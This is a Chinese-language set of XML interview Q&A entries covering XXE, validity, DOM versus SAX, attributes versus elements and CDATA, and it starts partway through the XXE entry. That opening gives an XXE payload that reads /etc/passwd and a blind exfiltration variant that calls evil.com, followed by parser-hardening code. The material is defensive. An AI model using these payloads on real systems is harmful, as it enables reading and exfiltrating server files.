[ <!ENTITY steal SYSTEM "file:///etc/passwd">]><data>&steal;</data>服务器解析这段 XML 时,&steal; 会被替换成 /etc/passwd 的文件内容。如果这个内容被返回给客户端,攻击者就拿到了服务器的敏感文件。更危险的是参数实体版本的盲注 XXE——不直接回显内容,而是把数据外带发送到攻击者的服务器:<!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://evil.com/collect.dtd"> %dtd;]>collect.dtd 里可以定义把 %file; 内容拼进 URL 请求参数,实现数据外泄。防护方案Java(最严格,直接禁用 DTD):DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);// 如果必须用 DTD,至少禁用外部实体dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);Python(lxml):from lxml import etreeparser = etree.XMLParser(resolve_entities=False)tree = etree.parse("input.xml", parser)libxml2 全局禁用:xmlCtxtUseOptions(parser, XML_PARSE_NOENT, NULL);关键原则:默认禁用外部实体,只在确实需要的场景有条件地开启。实体的替代方案现代 XML 开发中,实体尤其是外部实体的使用在减少,有两个更好的替代:XIncludeXInclude 是 W3C 标准的包含机制,不依赖 DTD,不触发 XXE:<book xmlns:xi="http://www.w3.org/2001/XInclude"> <title>系统设计手册</title> <xi:include href="chapter1.xml"/> <xi:include href="chapter2.xml"/></book>XML Schema 的 fixed 属性对于内部实体"定义常量"的用途,Schema 的 fixed 属性可以替代:<xs:element name="version" type="xs:string" fixed="2.3.1"/>使用建议内部实体:放心用,复用短文本的好工具,但别过度——如果实体名比内容还长就没必要外部实体:生产环境尽量别用,用 XInclude 替代参数实体:维护大型 DTD 时很有用,但大部分项目已经转向 Schema,参数实体的使用场景在萎缩预定义实体:不需要特别记,编辑器会自动转义;手写 XML 时注意 < 和 & 必须转义安全第一:任何接收外部 XML 输入的接口,都要禁用外部实体解析,这是最低限度的安全措施
计算机基础阅读 05月28日 03:47

XML 文档格式良好和有效有什么区别?

格式良好是 XML 的语法底线——标签必须闭合、正确嵌套、单一根元素、属性值加引号、特殊字符转义。解析器碰到不格式良好的文档直接报错,根本不会继续处理。有效是在格式良好的基础上,再对照 DTD 或 XML Schema 检查语义约束——元素顺序对不对、必填字段有没有缺、数据类型匹不匹配。一个文档可以格式良好但无效(语法没问题但违反了 Schema 约束),但有效的一定格式良好。核心区别:格式良好只管"能不能解析",有效还要管"符不符合业务规则"。前者是 XML 规范的硬性要求,后者取决于你定义的 Schema。追问DTD 和 XML Schema 有什么区别?| 维度 | DTD | XML Schema ||------|-----|------------|| 数据类型 | 只有文本,没有类型 | 支持 string、integer、date 等丰富类型 || 命名空间 | 不支持 | 原生支持 || 语法 | 自有一套非 XML 语法 | 本身就是 XML 文档 || 扩展性 | 弱 | 支持复杂类型继承、约束facet || 现状 | 遗留系统在用,新项目不推荐 | 主流方案 |实际项目里怎么选验证方式?配置文件(Spring、Maven)通常自带 Schema 声明,解析时自动验证。数据交换场景建议用 XSD 做强校验,防止对方传过来的结构不符合约定。开发阶段开验证、生产环境看性能需求可以关掉——Schema 验证有开销。格式良好但无效的文档能被解析吗?能。解析器分两类:非验证型解析器只检查格式良好性,不会因为违反 Schema 就拒绝解析。只有开启验证模式的解析器才会同时检查有效性。所以一个缺了必填字段的 XML,照样能被 DOM/SAX 解析成树结构,只是语义上不合规。什么时候 XML 不格式良好也不会报错?用了容错解析器(比如浏览器的 HTML 解析器),或者解析时开了 recover 模式。但标准 XML 解析器遇到格式错误必须报告 fatal error,这是 XML 规范的硬要求——和 HTML 的"宽容解析"不同,XML 的设计哲学就是宁可报错也不要猜。写段代码// 开启 Schema 验证SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);Schema schema = sf.newSchema(new File("book.xsd"));DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setSchema(schema); // 设置 Schema 后解析时自动验证
计算机基础阅读 05月28日 03:47

XML 解析中 DOM 和 SAX 有什么区别?

DOM 把整个 XML 一次性加载到内存建树,SAX 逐行读、遇到标签就触发回调。所以 DOM 能随机访问、能改,但吃内存;SAX 省内存、速度快,但只能顺序读、不能改。面试里一般答到"一个树一个事件驱动"就算到位,但追问肯定会问更细。追问DOM 和 SAX 的内存差距到底有多大?解析一个 100MB 的 XML,DOM 可能吃掉 300-500MB 内存(树节点的对象开销远大于原始文本),SAX 基本只占几 KB 的缓冲区。大文件用 DOM 直接 OOM 是真实生产事故,不是理论风险。StAX 和 SAX 有什么区别?为什么有了 SAX 还要 StAX?SAX 是推模型——解析器主动推事件给你,你没法控制解析节奏。StAX 是拉模型——你调用 next() 主动拉下一个事件,想停就停,想跳就跳。实际开发中 StAX 更灵活,代码也更好写(不用写一堆回调)。JDK 6 开始 StAX 就是 JAXP 的一部分了。实际项目里怎么选?| 场景 | 选择 | 原因 ||------|------|------|| 配置文件(几十 KB) | DOM / Dom4j | 小文件内存不是问题,随机访问方便 || 大日志文件(几百 MB+) | SAX / StAX | 流式处理不爆内存 || 需要修改 XML 再写回 | DOM | SAX 只读,改不了 || 只提取少数字段 | SAX / StAX | 不用为几个字段加载整棵树 |JAXB 还在用吗?Java 9 标记废弃,Java 11 正式移除(从 JDK 里删了)。现在要用得手动加 jakarta.xml.bind 依赖。新项目如果要做 XML-对象映射,Jackson 的 XML 模块比 JAXB 好用。DOM 解析有什么常见坑?编码问题:XML 声明的 encoding 和文件实际编码不一致,直接乱码或抛异常空白节点:格式化缩进会产生大量 #text 空白节点,遍历时要 getNodeType() 过滤,否则逻辑全乱命名空间:带命名空间的 XML 必须用 getElementsByTagNameNS(),用错方法查不到元素实体注入:外部实体引用(XXE)是安全漏洞,解析时必须禁用:factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)写段代码StAX 拉式解析,对比上面 SAX 的回调写法,感受下代码简洁度的差距:XMLStreamReader reader = XMLInputFactory.newInstance() .createXMLStreamReader(new FileInputStream("data.xml"));while (reader.hasNext()) { if (reader.next() == START_ELEMENT && reader.getLocalName().equals("title")) { System.out.println(reader.getElementText()); }}
计算机基础阅读 05月28日 03:46

XML 属性和子元素有什么区别?什么时候该用哪个?

XML 属性适合放元数据——ID、类型、状态这类简单的键值对;子元素适合放实际数据和可能变复杂的内容。属性的硬限制是:只能存纯文本、同一元素内不能重复、不能嵌套子结构。所以只要信息有可能扩展、可能多值、可能变复杂,就应该用子元素。一个实用的判断方法:如果你犹豫"这个该放属性还是子元素",大概率该用子元素。属性只在你非常确定它永远是一个简单原子值时才用。W3C 和 Google XML Style Guide 的建议一致:元数据用属性,数据本身用子元素。追问属性和子元素的核心区别是什么?属性是开始标签上的 name="value" 对,值只能是纯文本,同名属性在同一元素内只能出现一次。子元素是嵌套在父元素内的独立元素,可以重复、可以嵌套、可以有混合内容(文本和子元素混排),且保持文档顺序。用代码看最直观:<!-- 属性:简单键值对 --><book id="B001" category="programming" lang="zh"> <title>XML 实战</title></book><!-- 子元素:可以重复、嵌套、保持顺序 --><book> <id>B001</id> <categories> <category>programming</category> <category>reference</category> </categories></book>category 如果可能多值,属性就搞不定——它不能重复,只能用子元素。实际项目里选错会怎样?配置文件把数据库连接参数全写成属性:<db driver="mysql" host="127.0.0.1" port="3306"/>后来要给 host 加 failover 列表、给连接加 SSL 配置,属性扩展不了,只能全部拆成子元素重写。如果一开始就用子元素,加字段只是多写几行的事。再比如 SOAP 协议里,早期版本大量使用属性传业务数据,后来扩展性需求上来后不得不迁移到子元素,导致版本兼容成了大坑。Google 和 W3C 的官方建议是什么?Google XML Style Guide 明确说:属性只用于 ID 引用等元数据,其他一律用子元素。W3C 的 XML 推荐标准虽然没有强制规定,但示例中始终把元数据(id、class)放属性,内容数据放子元素。两条规则的内核一样——属性是"关于数据的数据",子元素是"数据本身"。有没有属性确实更合适的场景?HTML/SVG 是属性发挥优势的典型场景:<div id="main" class="container">、<rect x="10" y="20" width="100"/>——id、class、坐标、尺寸都是纯元数据,不会变复杂,用属性比嵌套子元素简洁得多,解析也更快。另外在 SAX 流式解析中,一个元素的所有属性一次性报出,而子元素逐个触发事件。如果你需要快速读取元数据做路由分发,属性在性能上有微小优势。属性值有长度限制吗?多行文本能放属性吗?XML 规范没有规定属性值长度上限,但实际中有两个问题:很多 SAX 解析器实现在属性值超过一定长度时性能下降甚至截断;更关键的是,属性值中的换行符会被 XML 解析器规范化为空格——多行文本放属性里会丢失格式。所以长文本、多行内容、含换行的代码片段,必须用子元素。写段代码<!-- 推荐:元数据用属性,数据用子元素 --><book id="B001" isbn="978-0-123456-78-9" lang="zh"> <title>XML 实战</title> <authors> <author>张三</author> <author>李四</author> </authors></book>
计算机基础阅读 05月27日 10:50

XML 中的 CDATA 是什么?什么时候需要用 CDATA?

CDATA(Character Data)是 XML 里的一个特殊标记,告诉解析器"这段内容别解析,原样保留"。当你需要在 XML 中放代码、HTML 片段或包含大量 <、>、& 的文本时,CDATA 省去逐个转义的麻烦。基本语法<code> <![CDATA[ if (x < 10 && y > 5) { return "ok"; } ]]></code><![CDATA[ 和 ]]> 之间的内容,XML 解析器不会尝试解析标签或实体引用,全部当作原始文本处理。什么时候需要 CDATA嵌入代码:JavaScript、SQL、CSS 里大量使用 <、>、&&,不用 CDATA 就得写成 <、>、&&,可读性极差。<script> <![CDATA[ function check() { if (count < 10 && status === "active") { return true; } } ]]></script>嵌入 HTML 片段:RSS feed 里经常包含 HTML 内容,CDATA 是标准做法。<description> <![CDATA[ <p>这是一段<strong>HTML</strong>内容</p> ]]></description>嵌入 SQL 查询:MyBatis、Hibernate 的 XML 映射文件里写 SQL,比较运算符必须转义或用 CDATA。<select id="findActive"> <![CDATA[ SELECT * FROM users WHERE age > 18 AND score >= 60 ]]></select>CDATA 的限制不能嵌套:CDATA 内部不能出现 ]]>,因为解析器会把第一个 ]]> 当作 CDATA 结束标记。如果内容里确实需要 ]]>,得拆成两个 CDATA 节:]]]><![CDATA[>。大小写敏感:必须是 CDATA,写成 cdata 或 Cdata 都不对。空白保留:CDATA 里的换行和缩进会原样保留,包括你不想保留的。格式化 XML 时注意别误改 CDATA 内的空白。不能做部分转义:CDATA 是全有或全无的——整个内容都不解析。如果只需要转义个别字符,用实体引用 < > 更精确。CDATA vs 实体引用| 特性 | CDATA | 实体引用 ||------|-------|----------|| 语法 | <![CDATA[...]]> | < > & || 适用范围 | 大段文本 | 单个字符 || 可读性 | 高,原文可读 | 低,需要还原 || 灵活性 | 低,整个块不解析 | 高,精确控制 |经验法则:超过 3 个特殊字符就用 CDATA,少于 3 个用实体引用。常见误区CDATA 不是数据类型:CDATA 只是告诉解析器别解析,它不改变数据的含义。解析后 <![CDATA[hello]]> 和 hello 是等价的——应用程序拿到的是同样的字符串。CDATA 不影响验证:XSD 验证时,CDATA 内的内容同样会被检查是否符合类型约束。CDATA 只跳过解析,不跳过验证。浏览器中的 CDATA:XHTML 里曾经用 //<![CDATA[ 包裹 JavaScript,但 HTML5 不需要——<script> 标签的内容本身就不被当作 XML 解析。这个用法已经过时了。